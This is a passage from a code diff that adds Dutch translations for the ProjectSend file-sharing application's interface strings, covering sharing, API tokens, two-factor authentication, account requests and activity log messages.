use, study, change and share it.": "ProjectSend is vrije, opensource software om bestanden naar je klanten te sturen. Het wordt uitgebracht onder de :license, wat betekent dat je het vrij mag gebruiken, bestuderen, aanpassen en delen.", + "ProjectSend is ready": "ProjectSend is klaar voor gebruik", + "ProjectSend was installed": "ProjectSend is geïnstalleerd", + "Provider": "Provider", + "Proxy Authentication Required": "Authenticatie op de proxyserver verplicht", + "Public": "Openbaar", + "Public file": "Openbaar bestand", + "Public files": "Openbare bestanden", + "Public group": "Openbare groep", + "Public group listing": "Openbaar groepsoverzicht", + "Public groups": "Openbare groepen", + "Public link": "Openbare link", + "Public link created.": "Openbare link aangemaakt.", + "Public link revoked.": "Openbare link ingetrokken.", + "Public links": "Openbare links", + "Public listing": "Openbaar overzicht", + "Public listing settings": "Instellingen voor het openbare overzicht", + "Public listing URL": "URL van het openbare overzicht", + "Public pages & portal": "Openbare pagina's en portaal", + "Public pages and client portal theme": "Thema voor openbare pagina's en klantportaal", + "Published": "Gepubliceerd", + "Purple": "Paars", + "Quota": "Quotum", + "Railgun Error": "Railgun foutmelding", + "Range Not Satisfiable": "Bereik niet bevredigend", + "Read more": "Meer lezen", + "Reassign them to": "Wijs ze toe aan", + "Recent activity": "Recente activiteit", + "Recipient": "Ontvanger", + "Record": "Opnemen", + "Record IP addresses for downloads": "IP-adressen van downloads vastleggen", + "Recovery code": "Herstelcode", + "Red": "Rood", + "Regards,": "Met vriendelijke groet,", + "Regenerate recovery codes": "Herstelcodes opnieuw genereren", + "Regenerate recovery codes?": "Herstelcodes opnieuw genereren?", + "Regenerated two-factor recovery codes": "Heeft de herstelcodes voor tweefactorauthenticatie opnieuw gegenereerd", + "Register": "Registreren", + "Register to access the files shared with you.": "Registreer je om bij de met jou gedeelde bestanden te komen.", + "Register to request access. An administrator will review your request.": "Registreer je om toegang aan te vragen. Een beheerder beoordeelt je aanvraag.", + "Registered a new client account": "Heeft een nieuw klantaccount geregistreerd", + "Related": "Gerelateerd", + "Remember me": "Aangemeld blijven", + "Remove": "Verwijderen", + "Removed \":member\" from the group \":subject\"": "Heeft \":member\" uit de groep \":subject\" verwijderd", + "Removed the file \":subject\" from :target": "Heeft het bestand \":subject\" bij :target weggehaald", + "Rename": "Hernoemen", + "Renamed the folder \":subject\"": "Heeft de map \":subject\" hernoemd", + "Repository": "Repository", + "Request declined": "Aanvraag geweigerd", + "Request Header Fields Too Large": "Headers van de aanvraag te lang", + "Request membership": "Lidmaatschap aanvragen", + "Request membership to groups (optional)": "Lidmaatschap van groepen aanvragen (optioneel)", + "Request Timeout": "Aanvraagtijd verstreken", + "Requested": "Aangevraagd", + "Requested membership to the group \":subject\"": "Heeft lidmaatschap van de groep \":subject\" aangevraagd", + "Requested memberships wait in the membership requests queue for approval.": "Aangevraagde lidmaatschappen wachten op goedkeuring in de wachtrij met lidmaatschapsaanvragen.", + "Require two-factor authentication": "Tweefactorauthenticatie verplichten", + "Required": "Verplicht", + "Reset Content": "Inhoud opnieuw instellen", + "Reset Password": "Wachtwoord herstellen", + "Reset Password Notification": "Notificatie wachtwoordherstel", + "Reset this email to its default wording?": "Deze e-mail terugzetten naar de standaardtekst?", + "Reset to default": "Terugzetten naar standaard", + "Restore": "Herstellen", + "Restore :name": ":Name herstellen", + "Restricted extension": "Beperkte extensie", + "Result": "Resultaat", + "results": "resultaten", + "Review membership requests": "Lidmaatschapsaanvragen beoordelen", + "Review pending requests": "Openstaande aanvragen beoordelen", + "Retry With": "Opnieuw proberen met", + "Revoke": "Intrekken", + "Revoke link": "Link intrekken", + "Revoke this public link?": "Deze openbare link intrekken?", + "Revoked a public link for the file \":subject\"": "Heeft een openbare link voor het bestand \":subject\" ingetrokken", + "Role": "Rol", + "Role created.": "Rol aangemaakt.", + "Role deleted.": "Rol verwijderd.", + "Role name": "Rolnaam", + "Role updated.": "Rol bijgewerkt.", + "Roles": "Rollen", + "Sample email": "Voorbeeld-e-mail", + "Save": "Opslaan", + "Save :name": ":Name opslaan", + "Save & Close": "Opslaan en sluiten", + "Save & Return": "Opslaan en teruggaan", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Sla je wijzigingen op om dit live te zetten — tot dan verwijzen deze knoppen naar een pagina die nog niet gepubliceerd is.", + "Saved": "Opgeslagen", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Scan deze QR-code met je authenticator-app en voer daarna de zescijferige code in ter bevestiging.", + "Scanning:": "Bezig met scannen:", + "Scheduled tasks": "Geplande taken", + "Search": "Zoeken", + "Search :name": ":Name zoeken", + "Search all files and folders": "Alle bestanden en mappen doorzoeken", + "Search by client or group": "Zoeken op klant of groep", + "Search by name": "Zoeken op naam", + "Search by name or email address": "Zoeken op naam of e-mailadres", + "Search by path": "Zoeken op pad", + "Search categories": "Categorieën zoeken", + "Search fields": "Velden zoeken", + "Search your files": "Je bestanden doorzoeken", + "Security": "Beveiliging", + "Security settings": "Beveiligingsinstellingen", + "See Other": "Zie andere", + "Select": "Selecteren", + "Select :name": ":name selecteren", + "Select a client or group": "Kies een klant of groep", + "Select a client to add": "Kies een klant om toe te voegen", + "Select a role": "Kies een rol", + "Select All": "Alles selecteren", + "Select an option": "Kies een optie", + "Select at least one file or folder.": "Selecteer minstens één bestand of map.", + "Self-registered clients join this group automatically.": "Klanten die zichzelf registreren, komen automatisch in deze groep.", + "Send": "Versturen", + "Send email notifications": "E-mailmeldingen versturen", + "Send test email": "Test-e-mail versturen", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Verstuurt nu meteen een echte e-mail, buiten de wachtrij om, zodat je kunt controleren of de instellingen hierboven echt werken.", + "Separate paragraphs with a blank line.": "Scheid alinea's met een lege regel.", + "Server Error": "Serverfout", + "Service Unavailable": "Website onbeschikbaar", + "Session Has Expired": "Pagina verlopen", + "Set file expiration dates": "Vervaldatums voor bestanden instellen", + "Set to 0 for no limit. Available disk space still applies.": "Zet op 0 voor geen limiet. De beschikbare schijfruimte blijft gelden.", + "Set to 0 to allow requesting again immediately.": "Zet op 0 om direct opnieuw aanvragen toe te staan.", + "Set up ProjectSend": "ProjectSend instellen", + "Settings": "Instellingen", + "Settings that apply to the whole installation": "Instellingen die voor de hele installatie gelden", + "Setup complete": "Installatie voltooid", + "Share a file with the people who manage your account.": "Deel een bestand met de mensen die je account beheren.", + "Share files with several clients at once": "Deel bestanden in één keer met meerdere klanten", + "Shared the folder \":subject\" with :target": "Heeft de map \":subject\" gedeeld met :target", + "Shared with": "Gedeeld met", + "Shared with :count": "Gedeeld met :count", + "Sharing": "Delen", + "Sharing a folder shares everything inside it, now and later": "Wie een map deelt, deelt alles erin — nu en later", + "Show": "Tonen", + "Show :name": ":Name tonen", + "Show All": "Alles tonen", + "Showing": "Toont", + "Showing matches from across your library": "Resultaten uit je hele bibliotheek", + "Showing matches from everything shared with you": "Resultaten uit alles wat met je gedeeld is", + "Shown across the application and to your clients.": "Wordt in de hele applicatie en aan je klanten getoond.", + "Shows a registration form on the login screen.": "Toont een registratieformulier op het inlogscherm.", + "Sign In": "Aanmelden", + "Sign up": "Registreren", + "Site name": "Sitenaam", + "Size": "Grootte", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "Sla het IP-adres over als de download van een ingelogd account komt — de identiteit is dan al bekend.", + "SMTP configuration": "SMTP-configuratie", + "Source code": "Broncode", + "Special public links": "Bijzondere openbare links", + "Solve": "Oplossen", + "Something went wrong. Please try again.": "Er is iets misgegaan. Probeer het opnieuw.", + "SSL": "SSL", + "SSL Handshake Failed": "SSL-handshake mislukt", + "Staff": "Team", + "Start": "Starten", + "Status": "Status", + "Stop": "Stoppen", + "Stopped sharing the folder \":subject\" with :target": "Deelt de map \":subject\" niet langer met :target", + "Storage": "Opslag", + "Storage free": "Vrije opslag", + "Storage quota (MB)": "Opslagquotum (MB)", + "Storage used": "Gebruikte opslag", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Bewaar deze herstelcodes op een veilige plek. Elke code kan één keer worden gebruikt als je geen toegang meer hebt tot je authenticator-app.", + "Subfolders": "Submappen", + "Subject": "Onderwerp", + "Submit": "Indienen", + "Subscribe": "Aanmelden", + "Success: test email sent to :email via :hostport.": "Gelukt: test-e-mail verstuurd naar :email via :hostport.", + "Support the project": "Steun het project", + "Switch": "Wisselen", + "Switch To Role": "Wisselen naar rol", + "Switching Protocols": "Protocolwissel", + "System": "Systeem", + "System Administrator": "Systeembeheerder", + "System settings": "Systeeminstellingen", + "System settings were updated": "De systeeminstellingen zijn bijgewerkt", + "System users": "Systeemgebruikers", + "Tag": "Label", + "Tags": "Labels", + "Temporary Redirect": "Tijdelijke omleiding", + "Test": "Test", + "Text": "Tekst", + "Text or author": "Tekst of auteur", + "The account of :name will be permanently deleted. This cannot be undone.": "Het account van :name wordt definitief verwijderd. Dit kan niet ongedaan worden gemaakt.", + "The account password was changed": "Het wachtwoord van het account is gewijzigd", + "The account request of :name will be denied and the account deleted.": "De accountaanvraag van :name wordt geweigerd en het account verwijderd.", + "The administrator account was created successfully.": "Het beheerdersaccount is aangemaakt.", + "The administrator role always has every permission and cannot be edited.": "De beheerdersrol heeft altijd alle rechten en kan niet worden bewerkt.", + "The base URL segment for public group pages, e.g. :url": "Het basisdeel van de URL voor openbare groepspagina's, bijv. :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "De categorie \":name\" wordt bij al haar bestanden weggehaald. De bestanden zelf worden niet verwijderd.", + "The client's email address": "Het e-mailadres van de klant", + "The client's name": "De naam van de klant", + "The clients this group shares files with": "De klanten met wie deze groep bestanden deelt", + "The field \":name\" and all its stored values will be permanently deleted.": "Het veld \":name\" en alle daarin opgeslagen waarden worden definitief verwijderd.", + "The file \":file\" was uploaded by :client.": "Het bestand \":file\" is geüpload door :client.", + "The file \":name\" has been shared with you.": "Het bestand \":name\" is met je gedeeld.", + "The file \":name\" will no longer be available to anyone it was shared with.": "Het bestand \":name\" is niet langer beschikbaar voor iedereen met wie het gedeeld was.", + "The file name": "De bestandsnaam", + "The file or folder name": "De naam van het bestand of de map", + "The file will be permanently removed from disk. This cannot be undone.": "Het bestand wordt definitief van schijf verwijderd. Dit kan niet ongedaan worden gemaakt.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "De bestanden van een openbare groep kunnen door iedereen met de link worden bekeken, zonder in te loggen.", + "The files shared with you": "De bestanden die met je gedeeld zijn", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "De map \":name\" en alles erin wordt verwijderd. Een beheerder kan dit ongedaan maken.", + "The following :count items have been shared with you:": "De volgende :count items zijn met je gedeeld:", + "The folder \":name\" has been shared with you.": "De map \":name\" is met je gedeeld.", + "The given data was invalid.": "De gegeven data was ongeldig.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "De groep \":name\" wordt verwijderd. De klanten behouden hun account.", + "The group name": "De groepsnaam", + "The groups you belong to and the ones you can ask to join": "De groepen waar je bij hoort en de groepen waarvoor je je kunt aanmelden", + "The header/footer style used for every outgoing notification email.": "De stijl van koptekst en voettekst voor elke uitgaande meldings-e-mail.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "Het uiterlijk van de openbare bezoekerspagina's, het klantportaal en de uitgaande meldings-e-mails.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "De mailserver zelf stel je in het .env-bestand van deze installatie in (MAIL_*-variabelen), niet hier.", + "The people who administer this installation and upload files": "De mensen die deze installatie beheren en bestanden uploaden", + "The people you share files with": "De mensen met wie je bestanden deelt", + "The provided two-factor authentication code was invalid.": "De ingevoerde code voor tweefactorauthenticatie is ongeldig.", + "The release this installation is running, and where it comes from.": "De versie die deze installatie draait, en waar die vandaan komt.", + "The response is not a streamed response.": "De respons is niet gestreamd.", + "The response is not a view.": "De respons is geen view.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "De rol \":name\" wordt definitief verwijderd. Dit kan niet ongedaan worden gemaakt.", + "The selected folders are empty.": "De geselecteerde mappen zijn leeg.", + "The uploading client's name": "De naam van de uploadende klant", + "Their account is waiting for approval.": "Dit account wacht op goedkeuring.", + "There is nothing to configure yet.": "Er valt nog niets in te stellen.", + "Test email from :site": "Test-e-mail van :site", + "These files will be permanently removed from disk. This cannot be undone.": "Deze bestanden worden definitief van schijf verwijderd. Dit kan niet ongedaan worden gemaakt.", + "Theme": "Thema", + "Theme updated.": "Thema bijgewerkt.", + "Theming": "Thema's", + "Theming settings": "Thema-instellingen", + "This action is unauthorized.": "Deze actie is niet toegestaan.", + "This file exceeds the maximum allowed size of :max MB.": "Dit bestand overschrijdt de maximaal toegestane grootte van :max MB.", + "This folder is empty.": "Deze map is leeg.", + "This installation has no administrator yet. Create the first one to get started.": "Deze installatie heeft nog geen beheerder. Maak de eerste aan om te beginnen.", + "This is a built-in role; its scope can't be changed.": "Dit is een ingebouwde rol; het bereik ervan kan niet worden gewijzigd.", + "This is a preview of the :theme email theme.": "Dit is een voorbeeld van het e-mailthema :theme.", + "This is a sample email — no notification was actually sent.": "Dit is een voorbeeld-e-mail — er is geen melding daadwerkelijk verstuurd.", + "This is a test email from :site.": "Dit is een test-e-mail van :site.", + "This is the last active administrator account.": "Dit is het laatste actieve beheerdersaccount.", + "This link cannot match the file's own public URL slug.": "Deze link mag niet gelijk zijn aan de eigen openbare URL-slug van het bestand.", + "This link doesn't exist or has been revoked.": "Deze link bestaat niet of is ingetrokken.", + "This link has expired.": "Deze link is verlopen.", + "This link has reached its download limit.": "Deze link heeft zijn downloadlimiet bereikt.", + "This password reset link will expire in :count minutes.": "Deze link om je wachtwoord te herstellen verloopt over :count minuten.", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Dit verwijdert alle mislukte taken definitief uit de lijst zonder er ook maar één opnieuw te proberen. Dit kan niet ongedaan worden gemaakt.", + "This role is assigned to accounts and cannot be deleted.": "Deze rol is aan accounts toegewezen en kan niet worden verwijderd.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Deze rol ziet alleen bestanden en mappen van deze klanten, plus de eigen uploads.", + "This upload would exceed your storage quota of :quota MB.": "Deze upload zou je opslagquotum van :quota MB overschrijden.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "Tip: sleep bestanden en mappen op een map of op het kruimelpad om ze te verplaatsen.", + "Title": "Titel", + "Title (optional)": "Titel (optioneel)", + "TLS": "TLS", + "to": "tot", + "To": "Aan", + "Toggle navigation": "Schakel navigatie", + "Too Early": "Te vroeg", + "Too many files selected. Choose a smaller selection and try again.": "Te veel bestanden geselecteerd. Kies een kleinere selectie en probeer het opnieuw.", + "Too Many Requests": "Te veel serververzoeken", + "Transactional email settings for this installation": "Instellingen voor transactionele e-mail van deze installatie", + "Transfers — last 30 days": "Overdrachten — afgelopen 30 dagen", + "Translate": "Vertalen", + "Translate It": "Vertalen", + "Turns all transactional email for this installation on or off.": "Zet alle transactionele e-mail van deze installatie aan of uit.", + "Two-factor auth": "Tweefactorauth.", + "Two-factor authentication": "Tweefactorauthenticatie", + "Two-factor authentication is enabled.": "Tweefactorauthenticatie is ingeschakeld.", + "Two-factor authentication was disabled": "Tweefactorauthenticatie is uitgeschakeld", + "Two-factor authentication was enabled": "Tweefactorauthenticatie is ingeschakeld", + "Two-factor recovery codes were regenerated": "De herstelcodes voor tweefactorauthenticatie zijn opnieuw gegenereerd", + "Type": "Type", + "Unauthorized": "Onbevoegd", + "Unavailable For Legal Reasons": "Toegang geweigerd om juridische redenen", + "Unchanged": "Ongewijzigd", + "Unknown Error": "Onbekende foutmelding", + "Unlimited": "Onbeperkt", + "Unpack": "Uitpakken", + "Unprocessable Entity": "Aanvraag kan niet worden verwerkt", + "Unsubscribe": "Uitschrijven", + "Unsupported Media Type": "Media-type niet ondersteund", + "Up": "Omhoog", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "Tot :max MB per bestand. Uploads kunnen worden gepauzeerd en hervatten automatisch na een onderbreking.", + "Update": "Aanpassen", + "Update :name": ":Name bijwerken", + "Updated the account \":subject\"": "Heeft het account \":subject\" bijgewerkt", + "Updated the file \":subject\"": "Heeft het bestand \":subject\" bijgewerkt", + "Updated the group \":subject\"": "Heeft de groep \":subject\" bijgewerkt", + "Updated the role \":subject\"": "Heeft de rol \":subject\" bijgewerkt", + "Updated the system settings (:section)": "Heeft de systeeminstellingen bijgewerkt (:section)", + "Updated their profile information": "Heeft de eigen profielgegevens bijgewerkt", + "Upgrade Required": "Upgrade nodig", + "Upload": "Uploaden", + "Upload a file": "Een bestand uploaden", + "Upload files": "Bestanden uploaden", + "Upload public files": "Openbare bestanden uploaden", + "Upload settings": "Uploadinstellingen", + "Upload to public folders": "Naar openbare mappen uploaden", + "Uploaded by": "Geüpload door", + "Uploaded the file \":subject\"": "Heeft het bestand \":subject\" geüpload", + "Uploader": "Uploader", + "Uploads": "Uploads", + "Uploads (chart)": "Uploads (grafiek)", + "URI Too Long": "Aanvraag-URL te lang", + "URL slug": "URL-slug", + "Use a custom link instead of a random one": "Een eigen link gebruiken in plaats van een willekeurige", + "Use a recovery code": "Een herstelcode gebruiken", + "Use an authentication code": "Een verificatiecode gebruiken", + "Use Proxy": "Gebruik Proxy", + "Use the navigation to get started.": "Gebruik de navigatie om te beginnen.", + "Used": "Gebruikt", + "Used in the public file URL when this file is public.": "Wordt gebruikt in de openbare bestands-URL wanneer dit bestand openbaar is.", + "Used in the public group URL when this group is public.": "Wordt gebruikt in de openbare groeps-URL wanneer deze groep openbaar is.", + "User": "Gebruiker", + "User created.": "Gebruiker aangemaakt.", + "User deleted.": "Gebruiker verwijderd.", + "User updated.": "Gebruiker bijgewerkt.", + "Users": "Gebruikers", + "Username": "Gebruikersnaam", + "Variant Also Negotiates": "Variant onderhandelt ook", + "Verify Email Address": "Verifieer e-mailadres", + "Version": "Versie", + "Version :version": "Versie :version", + "View": "Bekijken", + "View :name": ":Name bekijken", + "View all": "Alles bekijken", + "View dashboard counters": "Overzichtstellers bekijken", + "View file": "Bestand bekijken", + "View news": "Nieuws bekijken", + "View statistics": "Statistieken bekijken", + "View system information": "Systeeminformatie bekijken", + "Visible widgets": "Zichtbare widgets", + "View the activity log": "Het activiteitenlogboek bekijken", + "View your files": "Je eigen bestanden bekijken", + "Visibility": "Zichtbaarheid", + "Visitors": "Bezoekers", + "Warning": "Waarschuwing", + "Web Server is Down": "Webserver is onbereikbaar", + "Website": "Website", + "Welcome": "Welkom", + "Welcome to ProjectSend": "Welkom bij ProjectSend", + "What each kind of account is allowed to do": "Wat elk soort account mag doen", + "When an account is erased, its files and folders": "Wanneer een account wordt gewist, worden de bestanden en mappen", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Als dit aanstaat, wordt bij het inloggen om een beveiligde code van je telefoon gevraagd.", + "When off, self-registered clients wait in the account requests queue until approved.": "Staat dit uit, dan wachten klanten die zichzelf registreren in de wachtrij met accountaanvragen op goedkeuring.", + "Where outgoing email is actually sent from.": "Het adres waarvandaan uitgaande e-mail daadwerkelijk wordt verstuurd.", + "Whoops!": "Oeps!", + "Widgets": "Widgets", + "Worth including when you report a problem.": "Handig om te vermelden als je een probleem meldt.", + "Written by": "Geschreven door", + "Yellow": "Geel", + "Yes": "Ja", + "You are commenting too quickly. Try again in a moment.": "Je reageert te snel achter elkaar. Probeer het zo weer.", + "You are commenting too quickly. Try again in :seconds seconds.": "Je reageert te snel achter elkaar. Probeer het over :seconds seconden opnieuw.", + "You are not a member of any group yet.": "Je bent nog van geen enkele groep lid.", + "You are receiving this email because we received a password reset request for your account.": "Je ontvangt deze e-mail omdat we een wachtwoordherstel verzoek hebben ontvangen voor je account.", + "You can only share with the clients assigned to you.": "Je kunt alleen delen met de klanten die aan jou zijn toegewezen.", + "You cannot comment on this file.": "Je kunt niet op dit bestand reageren.", + "You cannot deactivate your own account.": "Je kunt je eigen account niet deactiveren.", + "You cannot delete your own account.": "Je kunt je eigen account niet verwijderen.", + "You have no notifications yet.": "Je hebt nog geen meldingen.", + "You will no longer receive files shared with the group \":name\".": "Je ontvangt geen bestanden meer die met de groep \":name\" gedeeld worden.", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "Je accountgegevens zijn onlangs door een beheerder gewijzigd. Neem contact op met je beheerder als je dit niet verwachtte.", + "Your account has been approved": "Je account is goedgekeurd", + "Your account has been created. You can log in now.": "Je account is aangemaakt. Je kunt nu inloggen.", + "Your account has been deactivated.": "Je account is gedeactiveerd.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "Je account wordt meteen gedeactiveerd. Na :days dagen wordt het definitief gewist, inclusief de gegevens waarmee je in het activiteitenlogboek herkenbaar bent — dit kan niet ongedaan worden gemaakt.", + "Your account request has been approved. You can now log in.": "Je accountaanvraag is goedgekeurd. Je kunt nu inloggen.", + "Your account request has been denied.": "Je accountaanvraag is geweigerd.", + "Your account request has been received. You will be able to log in once it is approved.": "Je accountaanvraag is ontvangen. Zodra die is goedgekeurd, kun je inloggen.", + "Your account request has not been approved yet.": "Je accountaanvraag is nog niet goedgekeurd.", + "Your account request was denied": "Je accountaanvraag is geweigerd", + "Your account was updated": "Je account is bijgewerkt", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "Je account wordt nu gedeactiveerd en na :days dagen definitief gewist. Voer je wachtwoord in ter bevestiging.", + "Your account will no longer require a second code at login, making it less secure.": "Je account vraagt bij het inloggen niet langer om een tweede code, waardoor het minder veilig is.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "Je beheerder verplicht tweefactorauthenticatie op dit account. Stel het hieronder in om verder te gaan.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "Je aangepaste onderwerp en berichttekst worden meteen verworpen en vervangen door de standaardtekst — dit kan niet ongedaan worden gemaakt.", + "Your download should start automatically.": "Je download zou automatisch moeten beginnen.", + "Your existing recovery codes will stop working immediately.": "Je huidige herstelcodes werken vanaf nu niet meer.", + "Your group membership request was approved": "Je aanvraag voor groepslidmaatschap is goedgekeurd", + "Your group membership request was denied": "Je aanvraag voor groepslidmaatschap is geweigerd", + "Your groups": "Jouw groepen", + "Your previous request to this group was declined. You can request again later.": "Je vorige aanvraag voor deze groep is geweigerd. Je kunt het later opnieuw proberen.", + "Your request to join the group \":group\" has been approved.": "Je aanvraag om lid te worden van de groep \":group\" is goedgekeurd.", + "Your request to join the group \":group\" has been denied.": "Je aanvraag om lid te worden van de groep \":group\" is geweigerd.", + "Your request to join the group \":groupName\" has been approved": "Je aanvraag om lid te worden van de groep \":groupName\" is goedgekeurd", + "Your shared file library": "Jouw gedeelde bestandsbibliotheek", + "API tokens": "API-tokens", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "Met tokens kan een externe tool namens jou handelen via de API, alleen met de rechten die je hier toekent.", + "Token name": "Tokennaam", + "e.g. Zapier": "bijv. Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Noem het naar de tool die het gaat gebruiken, zodat je later weet wat je intrekt.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Een token kan nooit meer dan jij. Ken alleen toe wat de tool nodig heeft — veranderen jouw rechten, dan volgt het token.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "Alleen rechten waar de API nu al iets mee doet, staan hier. Er komen er meer bij naarmate nieuwe endpoints worden uitgebracht.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Je kunt een token nog niets toekennen — geen van de tot nu toe uitgebrachte API-endpoints past bij jouw rechten.", + "Select all": "Alles selecteren", + "Clear all": "Alles wissen", + "Expires in (days)": "Verloopt over (dagen)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Een token zonder vervaldatum blijft geldig tot iemand het handmatig intrekt. Kies liever een datum die je gerust kunt vergeten.", + "Create token": "Token aanmaken", + "Copy your token now": "Kopieer je token nu", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "Dit is de enige keer dat het wordt getoond. We bewaren alleen een hash, dus het kan later niet worden teruggehaald.", + "Copy to clipboard": "Naar klembord kopiëren", + "Copied": "Gekopieerd", + "Your tokens": "Jouw tokens", + "Revoking a token takes effect immediately.": "Het intrekken van een token gaat meteen in.", + "You have not created any tokens yet.": "Je hebt nog geen tokens aangemaakt.", + "Expired": "Verlopen", + "Never used": "Nooit gebruikt", + "Last used :date": "Laatst gebruikt op :date", + "Revoke this token?": "Dit token intrekken?", + "Any tool using it will stop working immediately. This cannot be undone.": "Elke tool die het gebruikt, stopt meteen met werken. Dit kan niet ongedaan worden gemaakt.", + "This file type is not allowed for upload.": "Dit bestandstype mag niet worden geüpload.", + "View the client list": "De klantenlijst bekijken", + "View the group list": "De groepenlijst bekijken", + "Origin": "Herkomst", + "All origins": "Alle herkomsten", + "Web UI": "Webinterface", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Token bewerken", + "Save token": "Token opslaan", + "The token is shown once, immediately after it is created, and never again.": "Het token wordt één keer getoond, direct na het aanmaken, en daarna nooit meer.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "Het token zelf verandert niet. Alles wat het al gebruikt, blijft werken met wat je hier instelt.", + "Changing permissions takes effect immediately": "Wijzigingen in rechten gaan meteen in", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "Het bestaande token behoudt zijn waarde, dus wie het heeft, krijgt of verliest deze rechten direct. Trek het in en maak een nieuw token aan als je een nieuw geheim wilt.", + "Some permissions no longer apply": "Sommige rechten gelden niet meer", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "Dit token draagt nog rechten die nu niets doen; bij het opslaan worden ze verwijderd: :abilities", + "Token updated.": "Token bijgewerkt.", + "How external tools can act on this installation on your behalf.": "Hoe externe tools namens jou op deze installatie kunnen handelen.", + "OpenAPI specification": "OpenAPI-specificatie", + "Endpoints": "Endpoints", + "Method": "Methode", + "Tokens": "Tokens", + "Your tokens and what they have been doing.": "Jouw tokens en wat ze hebben gedaan.", + "Every token on this installation and what it has been doing.": "Elk token op deze installatie en wat het heeft gedaan.", + "Show all tokens": "Alle tokens tonen", + "Show only mine": "Alleen de mijne tonen", + "Manage tokens": "Tokens beheren", + "Requests (7 days)": "Verzoeken (7 dagen)", + "Failed (7 days)": "Mislukt (7 dagen)", + "Median response": "Mediane reactietijd", + "No requests yet": "Nog geen verzoeken", + ":count expired": ":count verlopen", + "Requests": "Verzoeken", + "Succeeded": "Geslaagd", + "Failed": "Mislukt", + "Request history is kept for :days days.": "De verzoekgeschiedenis wordt :days dagen bewaard.", + "Request history is kept indefinitely.": "De verzoekgeschiedenis wordt onbeperkt bewaard.", + "No tokens yet.": "Nog geen tokens.", + "Owner": "Eigenaar", + "Last used": "Laatst gebruikt", + "History": "Geschiedenis", + "Busiest endpoints": "Drukste endpoints", + "No requests in the last 7 days.": "Geen verzoeken in de afgelopen 7 dagen.", + "Recent changes made through the API": "Recente wijzigingen via de API", + "Full history": "Volledige geschiedenis", + "Nothing has been changed through the API yet.": "Er is nog niets via de API gewijzigd.", + "API usage": "API-gebruik", + "Open the API dashboard": "Het API-overzicht openen", + "You have no API tokens. Create one to let an external tool act on your behalf.": "Je hebt geen API-tokens. Maak er een aan om een externe tool namens jou te laten handelen.", + "API request history (days)": "Geschiedenis van API-verzoeken (dagen)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "Hoe lang het API-overzicht elk verzoek vastlegt. Dit is de gebruiksgeschiedenis, niet het activiteitenlogboek — dat is een audittrail en wordt nooit opgeschoond. Zet op 0 om het onbeperkt te bewaren.", + "A category was created": "Een categorie is aangemaakt", + "A category was deleted": "Een categorie is verwijderd", + "A category was renamed": "Een categorie is hernoemd", + "A comment was approved": "Een reactie is goedgekeurd", + "A comment was deleted": "Een reactie is verwijderd", + "A comment was edited": "Een reactie is bewerkt", + "A comment was posted on a file": "Er is een reactie op een bestand geplaatst", + "A custom asset was created": "Een eigen asset is aangemaakt", + "A custom asset was deleted": "Een eigen asset is verwijderd", + "A custom asset was disabled": "Een eigen asset is uitgeschakeld", + "A custom asset was enabled": "Een eigen asset is ingeschakeld", + "A custom asset was updated": "Een eigen asset is bijgewerkt", + "A custom field was created": "Een aangepast veld is aangemaakt", + "A custom field was deleted": "Een aangepast veld is verwijderd", + "A custom field was updated": "Een aangepast veld is bijgewerkt", + "A deleted account's files and folders were deleted": "De bestanden en mappen van een verwijderd account zijn verwijderd", + "A deleted account's files and folders were reassigned": "De bestanden en mappen van een verwijderd account zijn opnieuw toegewezen", + "A file was made private": "Een bestand is op privé gezet", + "A file was made public": "Een bestand is openbaar gemaakt", + "A file was previewed": "Een bestand is bekeken in het voorbeeld", + "A folder was made private": "Een map is op privé gezet", + "A folder was made public": "Een map is openbaar gemaakt", + "A group was made private": "Een groep is op privé gezet", + "A group was made public": "Een groep is openbaar gemaakt", + "An API token was created": "Er is een API-token aangemaakt", + "An API token was revoked": "Een API-token is ingetrokken", + "An API token was updated": "Een API-token is bijgewerkt", + "An expired file was automatically deleted after its retention grace period passed": "Een verlopen bestand is automatisch verwijderd nadat de respijtperiode was verstreken", + "An orphan file was automatically deleted after its retention grace period passed": "Een verweesd bestand is automatisch verwijderd nadat de respijtperiode was verstreken", + "An upload was cancelled": "Een upload is geannuleerd", + "Approved a comment on the file \":subject\"": "Heeft een reactie op het bestand \":subject\" goedgekeurd", + "Cancelled uploading the file \":name\"": "Heeft het uploaden van het bestand \":name\" geannuleerd", + "Commented on the file \":subject\"": "Heeft op het bestand \":subject\" 